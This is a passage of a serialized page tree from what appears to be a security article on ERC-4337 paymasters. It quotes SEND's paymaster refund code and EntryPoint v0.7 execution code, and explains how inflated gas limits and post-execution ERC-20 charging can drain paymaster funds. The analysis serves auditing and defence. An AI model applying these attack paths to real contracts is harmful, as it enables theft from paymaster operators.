(",{"type":23,"tag":481,"props":101490,"children":101491},{"style":943},[101492],{"type":28,"value":43692},{"type":23,"tag":481,"props":101494,"children":101495},{"style":525},[101496],{"type":28,"value":588},{"type":23,"tag":481,"props":101498,"children":101499},{"style":943},[101500],{"type":28,"value":30156},{"type":23,"tag":481,"props":101502,"children":101503},{"style":525},[101504],{"type":28,"value":4701},{"type":23,"tag":481,"props":101506,"children":101507},{"class":483,"line":21293},[101508,101513,101518,101523],{"type":23,"tag":481,"props":101509,"children":101510},{"style":525},[101511],{"type":28,"value":101512}," preCharge ",{"type":23,"tag":481,"props":101514,"children":101515},{"style":514},[101516],{"type":28,"value":101517},"-=",{"type":23,"tag":481,"props":101519,"children":101520},{"style":525},[101521],{"type":28,"value":101522}," baseFee; ",{"type":23,"tag":481,"props":101524,"children":101525},{"style":488},[101526],{"type":28,"value":101527},"// don't refund the base fee\n",{"type":23,"tag":481,"props":101529,"children":101530},{"class":483,"line":21330},[101531,101535,101540,101544,101549,101553,101557],{"type":23,"tag":481,"props":101532,"children":101533},{"style":943},[101534],{"type":28,"value":100660},{"type":23,"tag":481,"props":101536,"children":101537},{"style":525},[101538],{"type":28,"value":101539}," _cachedPrice ",{"type":23,"tag":481,"props":101541,"children":101542},{"style":514},[101543],{"type":28,"value":603},{"type":23,"tag":481,"props":101545,"children":101546},{"style":610},[101547],{"type":28,"value":101548}," updateCachedPrice",{"type":23,"tag":481,"props":101550,"children":101551},{"style":525},[101552],{"type":28,"value":618},{"type":23,"tag":481,"props":101554,"children":101555},{"style":497},[101556],{"type":28,"value":5654},{"type":23,"tag":481,"props":101558,"children":101559},{"style":525},[101560],{"type":28,"value":1366},{"type":23,"tag":481,"props":101562,"children":101563},{"class":483,"line":21343},[101564,101568,101572],{"type":23,"tag":481,"props":101565,"children":101566},{"style":488},[101567],{"type":28,"value":100912},{"type":23,"tag":481,"props":101569,"children":101570},{"style":497},[101571],{"type":28,"value":64288},{"type":23,"tag":481,"props":101573,"children":101574},{"style":488},[101575],{"type":28,"value":100921},{"type":23,"tag":481,"props":101577,"children":101578},{"class":483,"line":21356},[101579,101583,101587,101591,101595,101599,101603,101607],{"type":23,"tag":481,"props":101580,"children":101581},{"style":943},[101582],{"type":28,"value":100660},{"type":23,"tag":481,"props":101584,"children":101585},{"style":525},[101586],{"type":28,"value":100933},{"type":23,"tag":481,"props":101588,"children":101589},{"style":514},[101590],{"type":28,"value":603},{"type":23,"tag":481,"props":101592,"children":101593},{"style":525},[101594],{"type":28,"value":101539},{"type":23,"tag":481,"props":101596,"children":101597},{"style":514},[101598],{"type":28,"value":2120},{"type":23,"tag":481,"props":101600,"children":101601},{"style":525},[101602],{"type":28,"value":100951},{"type":23,"tag":481,"props":101604,"children":101605},{"style":514},[101606],{"type":28,"value":2130},{"type":23,"tag":481,"props":101608,"children":101609},{"style":525},[101610],{"type":28,"value":100960},{"type":23,"tag":481,"props":101612,"children":101613},{"class":483,"line":21369},[101614],{"type":23,"tag":481,"props":101615,"children":101616},{"style":488},[101617],{"type":28,"value":101618}," // Refund tokens based on actual gas cost\n",{"type":23,"tag":481,"props":101620,"children":101621},{"class":483,"line":21423},[101622,101626,101631,101635,101640,101644,101649,101653],{"type":23,"tag":481,"props":101623,"children":101624},{"style":943},[101625],{"type":28,"value":100660},{"type":23,"tag":481,"props":101627,"children":101628},{"style":525},[101629],{"type":28,"value":101630}," actualChargeNative ",{"type":23,"tag":481,"props":101632,"children":101633},{"style":514},[101634],{"type":28,"value":603},{"type":23,"tag":481,"props":101636,"children":101637},{"style":525},[101638],{"type":28,"value":101639}," actualGasCost ",{"type":23,"tag":481,"props":101641,"children":101642},{"style":514},[101643],{"type":28,"value":1930},{"type":23,"tag":481,"props":101645,"children":101646},{"style":525},[101647],{"type":28,"value":101648}," tokenPaymasterConfig.refundPostopCost ",{"type":23,"tag":481,"props":101650,"children":101651},{"style":514},[101652],{"type":28,"value":2120},{"type":23,"tag":481,"props":101654,"children":101655},{"style":525},[101656],{"type":28,"value":101657}," actualUserOpFeePerGas;\n",{"type":23,"tag":481,"props":101659,"children":101660},{"class":483,"line":21432},[101661,101665,101670,101674,101678],{"type":23,"tag":481,"props":101662,"children":101663},{"style":943},[101664],{"type":28,"value":100660},{"type":23,"tag":481,"props":101666,"children":101667},{"style":525},[101668],{"type":28,"value":101669}," actualTokenNeeded ",{"type":23,"tag":481,"props":101671,"children":101672},{"style":514},[101673],{"type":28,"value":603},{"type":23,"tag":481,"props":101675,"children":101676},{"style":610},[101677],{"type":28,"value":101135},{"type":23,"tag":481,"props":101679,"children":101680},{"style":525},[101681],{"type":28,"value":101682},"(actualChargeNative, cachedPriceWithMarkup);\n",{"type":23,"tag":481,"props":101684,"children":101685},{"class":483,"line":29796},[101686,101690,101695,101699],{"type":23,"tag":481,"props":101687,"children":101688},{"style":535},[101689],{"type":28,"value":56328},{"type":23,"tag":481,"props":101691,"children":101692},{"style":525},[101693],{"type":28,"value":101694}," (preCharge ",{"type":23,"tag":481,"props":101696,"children":101697},{"style":514},[101698],{"type":28,"value":7947},{"type":23,"tag":481,"props":101700,"children":101701},{"style":525},[101702],{"type":28,"value":101703}," actualTokenNeeded) {\n",{"type":23,"tag":481,"props":101705,"children":101706},{"class":483,"line":29817},[101707],{"type":23,"tag":481,"props":101708,"children":101709},{"style":488},[101710],{"type":28,"value":101711}," // If initially provided token amount is greater than the actual amount needed, refund the difference\n",{"type":23,"tag":481,"props":101713,"children":101714},{"class":483,"line":78483},[101715,101720,101725,101730,101734],{"type":23,"tag":481,"props":101716,"children":101717},{"style":525},[101718],{"type":28,"value":101719}," SafeERC20.",{"type":23,"tag":481,"props":101721,"children":101722},{"style":610},[101723],{"type":28,"value":101724},"safeTransfer",{"type":23,"tag":481,"props":101726,"children":101727},{"style":525},[101728],{"type":28,"value":101729},"(token, userOpSender, preCharge ",{"type":23,"tag":481,"props":101731,"children":101732},{"style":514},[101733],{"type":28,"value":1876},{"type":23,"tag":481,"props":101735,"children":101736},{"style":525},[101737],{"type":28,"value":101738}," actualTokenNeeded);\n",{"type":23,"tag":481,"props":101740,"children":101741},{"class":483,"line":78496},[101742,101746,101750,101754,101758,101762],{"type":23,"tag":481,"props":101743,"children":101744},{"style":525},[101745],{"type":28,"value":68124},{"type":23,"tag":481,"props":101747,"children":101748},{"style":535},[101749],{"type":28,"value":836},{"type":23,"tag":481,"props":101751,"children":101752},{"style":535},[101753],{"type":28,"value":13278},{"type":23,"tag":481,"props":101755,"children":101756},{"style":525},[101757],{"type":28,"value":101694},{"type":23,"tag":481,"props":101759,"children":101760},{"style":514},[101761],{"type":28,"value":3282},{"type":23,"tag":481,"props":101763,"children":101764},{"style":525},[101765],{"type":28,"value":101703},{"type":23,"tag":481,"props":101767,"children":101768},{"class":483,"line":78504},[101769],{"type":23,"tag":481,"props":101770,"children":101771},{"style":488},[101772],{"type":28,"value":101773}," // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n",{"type":23,"tag":481,"props":101775,"children":101776},{"class":483,"line":78512},[101777],{"type":23,"tag":481,"props":101778,"children":101779},{"style":488},[101780],{"type":28,"value":101781}," // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n",{"type":23,"tag":481,"props":101783,"children":101784},{"class":483,"line":78520},[101785,101789,101793,101798,101802,101806,101810,101815,101819],{"type":23,"tag":481,"props":101786,"children":101787},{"style":525},[101788],{"type":28,"value":101719},{"type":23,"tag":481,"props":101790,"children":101791},{"style":610},[101792],{"type":28,"value":101170},{"type":23,"tag":481,"props":101794,"children":101795},{"style":525},[101796],{"type":28,"value":101797},"(token, userOpSender, ",{"type":23,"tag":481,"props":101799,"children":101800},{"style":943},[101801],{"type":28,"value":30156},{"type":23,"tag":481,"props":101803,"children":101804},{"style":525},[101805],{"type":28,"value":618},{"type":23,"tag":481,"props":101807,"children":101808},{"style":497},[101809],{"type":28,"value":15186},{"type":23,"tag":481,"props":101811,"children":101812},{"style":525},[101813],{"type":28,"value":101814},"), actualTokenNeeded ",{"type":23,"tag":481,"props":101816,"children":101817},{"style":514},[101818],{"type":28,"value":1876},{"type":23,"tag":481,"props":101820,"children":101821},{"style":525},[101822],{"type":28,"value":101823}," preCharge);\n",{"type":23,"tag":481,"props":101825,"children":101826},{"class":483,"line":78560},[101827],{"type":23,"tag":481,"props":101828,"children":101829},{"style":525},[101830],{"type":28,"value":56412},{"type":23,"tag":481,"props":101832,"children":101833},{"class":483,"line":78568},[101834],{"type":23,"tag":481,"props":101835,"children":101836},{"emptyLinePlaceholder":15},[101837],{"type":28,"value":1210},{"type":23,"tag":481,"props":101839,"children":101840},{"class":483,"line":85755},[101841,101845,101850,101854,101858],{"type":23,"tag":481,"props":101842,"children":101843},{"style":535},[101844],{"type":28,"value":56328},{"type":23,"tag":481,"props":101846,"children":101847},{"style":525},[101848],{"type":28,"value":101849}," (baseFee ",{"type":23,"tag":481,"props":101851,"children":101852},{"style":514},[101853],{"type":28,"value":7947},{"type":23,"tag":481,"props":101855,"children":101856},{"style":551},[101857],{"type":28,"value":554},{"type":23,"tag":481,"props":101859,"children":101860},{"style":525},[101861],{"type":28,"value":12292},{"type":23,"tag":481,"props":101863,"children":101864},{"class":483,"line":85763},[101865,101869,101873],{"type":23,"tag":481,"props":101866,"children":101867},{"style":525},[101868],{"type":28,"value":101719},{"type":23,"tag":481,"props":101870,"children":101871},{"style":610},[101872],{"type":28,"value":101724},{"type":23,"tag":481,"props":101874,"children":101875},{"style":525},[101876],{"type":28,"value":101877},"(token, tokenPaymasterConfig.rewardsPool, baseFee);\n",{"type":23,"tag":481,"props":101879,"children":101880},{"class":483,"line":99109},[101881],{"type":23,"tag":481,"props":101882,"children":101883},{"style":525},[101884],{"type":28,"value":56412},{"type":23,"tag":481,"props":101886,"children":101887},{"class":483,"line":99117},[101888],{"type":23,"tag":481,"props":101889,"children":101890},{"emptyLinePlaceholder":15},[101891],{"type":28,"value":1210},{"type":23,"tag":481,"props":101893,"children":101894},{"class":483,"line":99125},[101895,101900,101905],{"type":23,"tag":481,"props":101896,"children":101897},{"style":535},[101898],{"type":28,"value":101899}," emit",{"type":23,"tag":481,"props":101901,"children":101902},{"style":610},[101903],{"type":28,"value":101904}," UserOperationSponsored",{"type":23,"tag":481,"props":101906,"children":101907},{"style":525},[101908],{"type":28,"value":101909},"(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n",{"type":23,"tag":481,"props":101911,"children":101912},{"class":483,"line":99133},[101913,101918],{"type":23,"tag":481,"props":101914,"children":101915},{"style":610},[101916],{"type":28,"value":101917}," refillEntryPointDeposit",{"type":23,"tag":481,"props":101919,"children":101920},{"style":525},[101921],{"type":28,"value":101922},"(_cachedPrice);\n",{"type":23,"tag":481,"props":101924,"children":101925},{"class":483,"line":99161},[101926],{"type":23,"tag":481,"props":101927,"children":101928},{"style":525},[101929],{"type":28,"value":870},{"type":23,"tag":481,"props":101931,"children":101933},{"class":483,"line":101932},67,[101934],{"type":23,"tag":481,"props":101935,"children":101936},{"style":525},[101937],{"type":28,"value":879},{"type":23,"tag":481,"props":101939,"children":101941},{"class":483,"line":101940},68,[101942],{"type":23,"tag":481,"props":101943,"children":101944},{"style":525},[101945],{"type":28,"value":1443},{"type":23,"tag":24,"props":101947,"children":101948},{},[101949,101951,101957,101959,101964,101966,101972],{"type":28,"value":101950},"Looking at the code above, during ",{"type":23,"tag":64,"props":101952,"children":101954},{"className":101953},[],[101955],{"type":28,"value":101956},"validatePaymasterUserOp",{"type":28,"value":101958},", the paymaster attempts to charge a maximum prefund amount first. This prefund is calculated by taking the gas limit specified in the ",{"type":23,"tag":64,"props":101960,"children":101962},{"className":101961},[],[101963],{"type":28,"value":100015},{"type":28,"value":101965}," and applying a markup price to convert the native ETH cost into the equivalent ERC20-token value. Later in ",{"type":23,"tag":64,"props":101967,"children":101969},{"className":101968},[],[101970],{"type":28,"value":101971},"postOp",{"type":28,"value":101973},", the paymaster calculates the actual charge and refunds any excess from the prefund.",{"type":23,"tag":24,"props":101975,"children":101976},{},[101977,101979,101984,101986,101993],{"type":28,"value":101978},"However, there is a critical oversight: ",{"type":23,"tag":2875,"props":101980,"children":101981},{},[101982],{"type":28,"value":101983},"the code does not account for gas penalties",{"type":28,"value":101985},". The actual gas charged to the paymaster includes not just the gas used, but also any ",{"type":23,"tag":190,"props":101987,"children":101990},{"href":101988,"rel":101989},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L726-L730",[194],[101991],{"type":28,"value":101992},"penalties incurred",{"type":28,"value":101994}," from differences between the execution gas limit and actual execution gas.",{"type":23,"tag":24,"props":101996,"children":101997},{},[101998],{"type":28,"value":101999},"This vulnerability can be exploited by malicious users who set an artificially high gas limit to trigger the penalty. When penalties are applied, the paymaster will be charged significantly more than expected, potentially draining its funds since these additional costs were not factored into the calculation.",{"type":23,"tag":24,"props":102001,"children":102002},{},[102003,102005,102010],{"type":28,"value":102004},"In fact, the bundler will be the one who receives the penalty paid by the paymaster. This means a bundler could submit their own ",{"type":23,"tag":64,"props":102006,"children":102008},{"className":102007},[],[102009],{"type":28,"value":99714},{"type":28,"value":102011}," to be executed by themselves and profit if the penalty they can extract from the paymaster exceeds their own gas costs paid to the paymaster. In SEND's case, fortunately, because they operate their own bundler, any penalties incurred flow back to their controlled bundler, creating a closed economic loop that mitigates this particular attack vector.",{"type":23,"tag":31,"props":102013,"children":102015},{"id":102014},"incorrect-erc-20-handling",[102016],{"type":23,"tag":2875,"props":102017,"children":102018},{},[102019],{"type":28,"value":102020},"Incorrect ERC-20 Handling",{"type":23,"tag":24,"props":102022,"children":102023},{},[102024],{"type":28,"value":102025},"To improve user experience, some protocols introduced ERC-20 paymasters that allow users to pay transaction gas fees using ERC-20 tokens instead of native ETH (Just like what SEND did in the above code). The core concept is quite straightforward, the paymaster fronts the ETH gas costs to bundlers, then charges users an equivalent amount in ERC-20 tokens based on current market rates. However, implementing this token-to-ETH conversion and payment flow securely requires careful consideration.",{"type":23,"tag":24,"props":102027,"children":102028},{},[102029,102030,102035,102037,102042],{"type":28,"value":42820},{"type":23,"tag":64,"props":102031,"children":102033},{"className":102032},[],[102034],{"type":28,"value":99795},{"type":28,"value":102036}," flow above, we can see that paymasters have two key interaction points during a ",{"type":23,"tag":64,"props":102038,"children":102040},{"className":102039},[],[102041],{"type":28,"value":99714},{"type":28,"value":102043},"'s lifecycle:",{"type":23,"tag":73,"props":102045,"children":102046},{},[102047,102057],{"type":23,"tag":77,"props":102048,"children":102049},{},[102050,102052],{"type":28,"value":102051},"During validation via ",{"type":23,"tag":64,"props":102053,"children":102055},{"className":102054},[],[102056],{"type":28,"value":99902},{"type":23,"tag":77,"props":102058,"children":102059},{},[102060,102062],{"type":28,"value":102061},"After execution via ",{"type":23,"tag":64,"props":102063,"children":102065},{"className":102064},[],[102066],{"type":28,"value":99913},{"type":23,"tag":24,"props":102068,"children":102069},{},[102070],{"type":28,"value":102071},"This dual-interaction model has led to two predominant patterns for handling ERC-20 payments in paymaster implementations:",{"type":23,"tag":7092,"props":102073,"children":102075},{"id":102074},"_1-pre-payment-with-refund-pattern",[102076],{"type":28,"value":102077},"1. Pre-Payment with Refund Pattern",{"type":23,"tag":24,"props":102079,"children":102080},{},[102081,102083,102088,102090,102095,102097,102103,102104,102110,102112,102117,102119,102124,102126,102131],{"type":28,"value":102082},"In this model, the paymaster requires users to pre-pay the maximum possible gas cost in ERC-20 tokens during ",{"type":23,"tag":64,"props":102084,"children":102086},{"className":102085},[],[102087],{"type":28,"value":99902},{"type":28,"value":102089},". After execution completes, ",{"type":23,"tag":64,"props":102091,"children":102093},{"className":102092},[],[102094],{"type":28,"value":99913},{"type":28,"value":102096}," refunds any excess tokens based on actual gas consumed. This is analogous to how regular ETH gas payments work. Several protocols like ",{"type":23,"tag":64,"props":102098,"children":102100},{"className":102099},[],[102101],{"type":28,"value":102102},"SEND",{"type":28,"value":8478},{"type":23,"tag":64,"props":102105,"children":102107},{"className":102106},[],[102108],{"type":28,"value":102109},"Circle",{"type":28,"value":102111}," have implemented this approach. However, this pattern has one key disadvantage: users must first approve the paymaster to spend their ERC20 tokens before submitting any ",{"type":23,"tag":64,"props":102113,"children":102115},{"className":102114},[],[102116],{"type":28,"value":99743},{"type":28,"value":102118},". This additional setup step is required to ensure the paymaster can successfully deduct tokens ",{"type":23,"tag":2875,"props":102120,"children":102121},{},[102122],{"type":28,"value":102123},"before",{"type":28,"value":102125}," execution (specifically during ",{"type":23,"tag":64,"props":102127,"children":102129},{"className":102128},[],[102130],{"type":28,"value":101956},{"type":28,"value":18240},{"type":23,"tag":7092,"props":102133,"children":102135},{"id":102134},"_2-post-execution-charging-pattern",[102136],{"type":28,"value":102137},"2. Post-Execution Charging Pattern",{"type":23,"tag":24,"props":102139,"children":102140},{},[102141,102143,102148,102150,102155,102157,102162,102164,102169],{"type":28,"value":102142},"This alternative approach defers token collection until after execution. Instead of charging a prefund during ",{"type":23,"tag":64,"props":102144,"children":102146},{"className":102145},[],[102147],{"type":28,"value":99902},{"type":28,"value":102149},", the actual token payment is calculated and collected in ",{"type":23,"tag":64,"props":102151,"children":102153},{"className":102152},[],[102154],{"type":28,"value":99913},{"type":28,"value":102156}," based on the exact gas consumed. At first glance, this appears to be the most user-friendly pattern since users can bundle their token approval transaction within the same ",{"type":23,"tag":64,"props":102158,"children":102160},{"className":102159},[],[102161],{"type":28,"value":99714},{"type":28,"value":102163},", eliminating the need for a separate pre-approval transaction before submitting the ",{"type":23,"tag":64,"props":102165,"children":102167},{"className":102166},[],[102168],{"type":28,"value":100015},{"type":28,"value":102170},". This means users could interact with the paymaster without any prior setup.",{"type":23,"tag":24,"props":102172,"children":102173},{},[102174,102176,102181,102183,102189,102191,102197,102199,102204],{"type":28,"value":102175},"This approach used to work in ",{"type":23,"tag":64,"props":102177,"children":102179},{"className":102178},[],[102180],{"type":28,"value":99795},{"type":28,"value":102182}," version ",{"type":23,"tag":64,"props":102184,"children":102186},{"className":102185},[],[102187],{"type":28,"value":102188},"v0.6",{"type":28,"value":102190},", but the pattern no longer works in ",{"type":23,"tag":64,"props":102192,"children":102194},{"className":102193},[],[102195],{"type":28,"value":102196},"v0.7",{"type":28,"value":102198},". In fact, using this pattern can lead to loss of funds for the paymaster. Let's take a closer look at how ",{"type":23,"tag":64,"props":102200,"children":102202},{"className":102201},[],[102203],{"type":28,"value":102196},{"type":28,"value":102205}," handles the execution phase:",{"type":23,"tag":435,"props":102207,"children":102209},{"className":2024,"code":102208,"language":2023,"meta":7,"style":7}," function _executeUserOp(\n uint256 opIndex,\n PackedUserOperation calldata userOp,\n UserOpInfo memory opInfo\n )\n internal virtual\n returns (uint256 collected) {\n [...]\n bool success;\n {\n [...]\n if (methodSig == IAccountExecute.executeUserOp.selector) {\n bytes memory executeUserOp = abi.encodeCall(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n innerCall = abi.encodeCall(this.innerHandleOp, (executeUserOp, opInfo, context));\n } else\n {\n innerCall = abi.encodeCall(this.innerHandleOp, (callData, opInfo, context));\n }\n assembly (\"memory-safe\") {\n success := call(gas(), address(), 0, add(innerCall, 0x20), mload(innerCall), 0, 32)\n collected := mload(0)\n }\n _restoreFreePtr(saveFreePtr);\n }\n if (!success) {\n [...]\n if (innerRevertCode == INNER_OUT_OF_GAS) {\n // handleOps was called with gas limit too low. abort entire bundle.\n // can only be caused by bundler (leaving not enough gas for inner call)\n revert FailedOp(opIndex, \"AA95 out of gas\");\n } else if (innerRevertCode == INNER_REVERT_LOW_PREFUND) {\n // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n uint256 actualGasCost = opInfo.prefund;\n _emitPrefundTooLow(opInfo);\n _emitUserOperationEvent(opInfo, false, actualGasCost, actualGas);\n collected = actualGasCost;\n } else {\n [...]\n collected = _postExecution(\n IPaymaster.PostOpMode.postOpReverted,\n opInfo,\n context,\n actualGas\n );\n }\n }\n }\n",[102210],{"type":23,"tag":64,"props":102211,"children":102212},{"__ignoreMap":7},[102213,102229,102245,102265,102282,102289,102302,102326,102334,102347,102354,102361,102382,102421,102458,102470,102477,102513,102520,102541,102630,102659,102666,102679,102686,102706,102713,102734,102742,102750,102777,102805,102813,102856,102876,102889,102911,102927,102942,102949,102969,102977,102985,102993,103001,103009,103016,103023],{"type":23,"tag":481,"props":102214,"children":102215},{"class":483,"line":484},[102216,102220,102225],{"type":23,"tag":481,"props":102217,"children":102218},{"style":497},[102219],{"type":28,"value":87363},{"type":23,"tag":481,"props":102221,"children":102222},{"style":610},[102223],{"type":28,"value":102224}," _executeUserOp",{"type":23,"tag":481,"props":102226,"children":102227},{"style":525},[102228],{"type":28,"value":988},{"type":23,"tag":481,"props":102230,"children":102231},{"class":483,"line":351},[102232,102236,102241],{"type":23,"tag":481,"props":102233,"children":102234},{"style":943},[102235],{"type":28,"value":87541},{"type":23,"tag":481,"props":102237,"children":102238},{"style":508},[102239],{"type":28,"value":102240}," opIndex",{"type":23,"tag":481,"props":102242,"children":102243},{"style":525},[102244],{"type":28,"value":1033},{"type":23,"tag":481,"props":102246,"children":102247},{"class":483,"line":531},[102248,102253,102257,102261],{"type":23,"tag":481,"props":102249,"children":102250},{"style":497},[102251],{"type":28,"value":102252}," PackedUserOperation",{"type":23,"tag":481,"props":102254,"children":102255},{"style":497},[102256],{"type":28,"value":100544},{"type":23,"tag":481,"props":102258,"children":102259},{"style":508},[102260],{"type":28,"value":100549},{"type":23,"tag":481,"props":102262,"children":102263},{"style":525},[102264],{"type":28,"value":1033},{"type":23,"tag":481,"props":102266,"children":102267},{"class":483,"line":567},[102268,102273,102277],{"type":23,"tag":481,"props":102269,"children":102270},{"style":497},[102271],{"type":28,"value":102272}," UserOpInfo",{"type":23,"tag":481,"props":102274,"children":102275},{"style":497},[102276],{"type":28,"value":100612},{"type":23,"tag":481,"props":102278,"children":102279},{"style":508},[102280],{"type":28,"value":102281}," opInfo\n",{"type":23,"tag":481,"props":102283,"children":102284},{"class":483,"line":678},[102285],{"type":23,"tag":481,"props":102286,"children":102287},{"style":525},[102288],{"type":28,"value":21429},{"type":23,"tag":481,"props":102290,"children":102291},{"class":483,"line":784},[102292,102297],{"type":23,"tag":481,"props":102293,"children":102294},{"style":497},[102295],{"type":28,"value":102296}," internal",{"type":23,"tag":481,"props":102298,"children":102299},{"style":497},[102300],{"type":28,"value":102301}," virtual\n",{"type":23,"tag":481,"props":102303,"children":102304},{"class":483,"line":812},[102305,102309,102313,102317,102322],{"type":23,"tag":481,"props":102306,"children":102307},{"style":535},[102308],{"type":28,"value":44033},{"type":23,"tag":481,"props":102310,"children":102311},{"style":525},[102312],{"type":28,"value":578},{"type":23,"tag":481,"props":102314,"children":102315},{"style":943},[102316],{"type":28,"value":43692},{"type":23,"tag":481,"props":102318,"children":102319},{"style":508},[102320],{"type":28,"value":102321}," collected",{"type":23,"tag":481,"props":102323,"children":102324},{"style":525},[102325],{"type":28,"value":12292},{"type":23,"tag":481,"props":102327,"children":102328},{"class":483,"line":825},[102329],{"type":23,"tag":481,"props":102330,"children":102331},{"style":525},[102332],{"type":28,"value":102333}," [...]\n",{"type":23,"tag":481,"props":102335,"children":102336},{"class":483,"line":843},[102337,102342],{"type":23,"tag":481,"props":102338,"children":102339},{"style":943},[102340],{"type":28,"value":102341}," bool",{"type":23,"tag":481,"props":102343,"children":102344},{"style":525},[102345],{"type":28,"value":102346}," success;\n",{"type":23,"tag":481,"props":102348,"children":102349},{"class":483,"line":864},[102350],{"type":23,"tag":481,"props":102351,"children":102352},{"style":525},[102353],{"type":28,"value":29174},{"type":23,"tag":481,"props":102355,"children":102356},{"class":483,"line":873},[102357],{"type":23,"tag":481,"props":102358,"children":102359},{"style":525},[102360],{"type":28,"value":102333},{"type":23,"tag":481,"props":102362,"children":102363},{"class":483,"line":1125},[102364,102368,102373,102377],{"type":23,"tag":481,"props":102365,"children":102366},{"style":535},[102367],{"type":28,"value":56328},{"type":23,"tag":481,"props":102369,"children":102370},{"style":525},[102371],{"type":28,"value":102372}," (methodSig ",{"type":23,"tag":481,"props":102374,"children":102375},{"style":514},[102376],{"type":28,"value":6055},{"type":23,"tag":481,"props":102378,"children":102379},{"style":525},[102380],{"type":28,"value":102381}," IAccountExecute.executeUserOp.selector) {\n",{"type":23,"tag":481,"props":102383,"children":102384},{"class":483,"line":1142},[102385,102390,102394,102399,102403,102407,102411,102416],{"type":23,"tag":481,"props":102386,"children":102387},{"style":943},[102388],{"type":28,"value":102389}," bytes",{"type":23,"tag":481,"props":102391,"children":102392},{"style":497},[102393],{"type":28,"value":100612},{"type":23,"tag":481,"props":102395,"children":102396},{"style":525},[102397],{"type":28,"value":102398}," executeUserOp ",{"type":23,"tag":481,"props":102400,"children":102401},{"style":514},[102402],{"type":28,"value":603},{"type":23,"tag":481,"props":102404,"children":102405},{"style":497},[102406],{"type":28,"value":101209},{"type":23,"tag":481,"props":102408,"children":102409},{"style":525},[102410],{"type":28,"value":199},{"type":23,"tag":481,"props":102412,"children":102413},{"style":610},[102414],{"type":28,"value":102415},"encodeCall",{"type":23,"tag":481,"props":102417,"children":102418},{"style":525},[102419],{"type":28,"value":102420},"(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n",{"type":23,"tag":481,"props":102422,"children":102423},{"class":483,"line":1159},[102424,102429,102433,102437,102441,102445,102449,102453],{"type":23,"tag":481,"props":102425,"children":102426},{"style":525},[102427],{"type":28,"value":102428}," innerCall ",{"type":23,"tag":481,"props":102430,"children":102431},{"style":514},[102432],{"type":28,"value":603},{"type":23,"tag":481,"props":102434,"children":102435},{"style":497},[102436],{"type":28,"value":101209},{"type":23,"tag":481,"props":102438,"children":102439},{"style":525},[102440],{"type":28,"value":199},{"type":23,"tag":481,"props":102442,"children":102443},{"style":610},[102444],{"type":28,"value":102415},{"type":23,"tag":481,"props":102446,"children":102447},{"style":525},[102448],{"type":28,"value":618},{"type":23,"tag":481,"props":102450,"children":102451},{"style":497},[102452],{"type":28,"value":15186},{"type":23,"tag":481,"props":102454,"children":102455},{"style":525},[102456],{"type":28,"value":102457},".innerHandleOp, (executeUserOp, opInfo, context));\n",{"type":23,"tag":481,"props":102459,"children":102460},{"class":483,"line":1172},[102461,102465],{"type":23,"tag":481,"props":102462,"children":102463},{"style":525},[102464],{"type":28,"value":68124},{"type":23,"tag":481,"props":102466,"children":102467},{"style":535},[102468],{"type":28,"value":102469},"else\n",{"type":23,"tag":481,"props":102471,"children":102472},{"class":483,"line":1181},[102473],{"type":23,"tag":481,"props":102474,"children":102475},{"style":525},[102476],{"type":28,"value":29210},{"type":23,"tag":481,"props":102478,"children":102479},{"class":483,"line":1204},[102480,102484,102488,102492,102496,102500,102504,102508],{"type":23,"tag":481,"props":102481,"children":102482},{"style":525},[102483],{"type":28,"value":102428},{"type":23,"tag":481,"props":102485,"children":102486},{"style":514},[102487],{"type":28,"value":603},{"type":23,"tag":481,"props":102489,"children":102490},{"style":497},[102491],{"type":28,"value":101209},{"type":23,"tag":481,"props":102493,"children":102494},{"style":525},[102495],{"type":28,"value":199},{"type":23,"tag":481,"props":102497,"children":102498},{"style":610},[102499],{"type":28,"value":102415},{"type":23,"tag":481,"props":102501,"children":102502},{"style":525},[102503],{"type":28,"value":618},{"type":23,"tag":481,"props":102505,"children":102506},{"style":497},[102507],{"type":28,"value":15186},{"type":23,"tag":481,"props":102509,"children":102510},{"style":525},[102511],{"type":28,"value":102512},".innerHandleOp, (callData, opInfo, context));\n",{"type":23,"tag":481,"props":102514,"children":102515},{"class":483,"line":1213},[102516],{"type":23,"tag":481,"props":102517,"children":102518},{"style":525},[102519],{"type":28,"value":56412},{"type":23,"tag":481,"props":102521,"children":102522},{"class":483,"line":1222},[102523,102528,102532,102537],{"type":23,"tag":481,"props":102524,"children":102525},{"style":610},[102526],{"type":28,"value":102527}," assembly",{"type":23,"tag":481,"props":102529,"children":102530},{"style":525},[102531],{"type":28,"value":578},{"type":23,"tag":481,"props":102533,"children":102534},{"style":1805},[102535],{"type":28,"value":102536},"\"memory-safe\"",{"type":23,"tag":481,"props":102538,"children":102539},{"style":525},[102540],{"type":28,"value":12292},{"type":23,"tag":481,"props":102542,"children":102543},{"class":483,"line":1291},[102544,102549,102553,102557,102561,102566,102570,102574,102578,102582,102586,102590,102595,102600,102604,102609,102614,102618,102622,102626],{"type":23,"tag":481,"props":102545,"children":102546},{"style":525},[102547],{"type":28,"value":102548}," success ",{"type":23,"tag":481,"props":102550,"children":102551},{"style":514},[102552],{"type":28,"value":19105},{"type":23,"tag":481,"props":102554,"children":102555},{"style":610},[102556],{"type":28,"value":38482},{"type":23,"tag":481,"props":102558,"children":102559},{"style":525},[102560],{"type":28,"value":618},{"type":23,"tag":481,"props":102562,"children":102563},{"style":610},[102564],{"type":28,"value":102565},"gas",{"type":23,"tag":481,"props":102567,"children":102568},{"style":525},[102569],{"type":28,"value":15869},{"type":23,"tag":481,"props":102571,"children":102572},{"style":943},[102573],{"type":28,"value":30156},{"type":23,"tag":481,"props":102575,"children":102576},{"style":525},[102577],{"type":28,"value":15869},{"type":23,"tag":481,"props":102579,"children":102580},{"style":551},[102581],{"type":28,"value":1568},{"type":23,"tag":481,"props":102583,"children":102584},{"style":525},[102585],{"type":28,"value":588},{"type":23,"tag":481,"props":102587,"children":102588},{"style":610},[102589],{"type":28,"value":7122},{"type":23,"tag":481,"props":102591,"children":102592},{"style":525},[102593],{"type":28,"value":102594},"(innerCall, 